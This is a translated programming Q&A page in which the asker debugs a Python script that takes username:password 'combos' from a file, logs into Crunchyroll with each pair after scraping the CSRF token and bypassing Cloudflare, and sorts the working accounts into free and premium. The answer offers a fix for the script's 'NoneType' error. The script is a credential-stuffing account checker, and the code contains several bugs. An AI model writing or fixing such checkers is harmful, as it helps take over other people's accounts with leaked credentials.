簡體   English   中英

如何解決:'NoneType' object 不可下標

[英]How to solve: 'NoneType' object is not subscriptable

我正在創建一個驗證 crunchyroll 帳戶的腳本。 錯誤源於“我嘗試”使用 BeautifulSoup 提取 CSRF 令牌。

代碼:

def check ():
    session = cfscrape.create_scraper()
    login_page = sesseion.get(login)

    login_soup = BeautifulSoup(login_page.text,'html5lib' )
    csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']

    session.post(login,
                  data={'login_form[name]': user,
                        'login_form[password]': passw,
                        'login_form[redirect_url]': '/',
                        'login_form[_token]': csrftok})

    membership = session.get(acc_member)
    member_soup = BeautifulSoup(membership.text, 'html5lib')

    if member_soup.title.get_text().strip() == 'Crunchyroll -   Account Management':
        if member_soup.find(class_='acct-membership-status').contents[1].find('td').get_text().strip() == 'Free':
            print('free:{}'.format(user+ ':' + passw))

        else:
            print('Premium:{}'.format(user + ':' + passw))
    else:
        print('not working:{}'.format(user + ':' + passw))

    read_combos = open(file_combos, "r")
    for linea in read_combos.readlines():
        users, passwords = line.split(':')
        check(users.strip(), passwords.strip())
        read_combos.close()

如何解決以下錯誤?

File "checker2.py", line 15, in check
   csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
TypeError: 'NoneType' object is not subscriptable

像這樣的東西比 try/except 更好:

e = login_soup.find('input', {'name':'login_form[_token]'})
csrftok = e['value'] if e else 'Not Found'

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM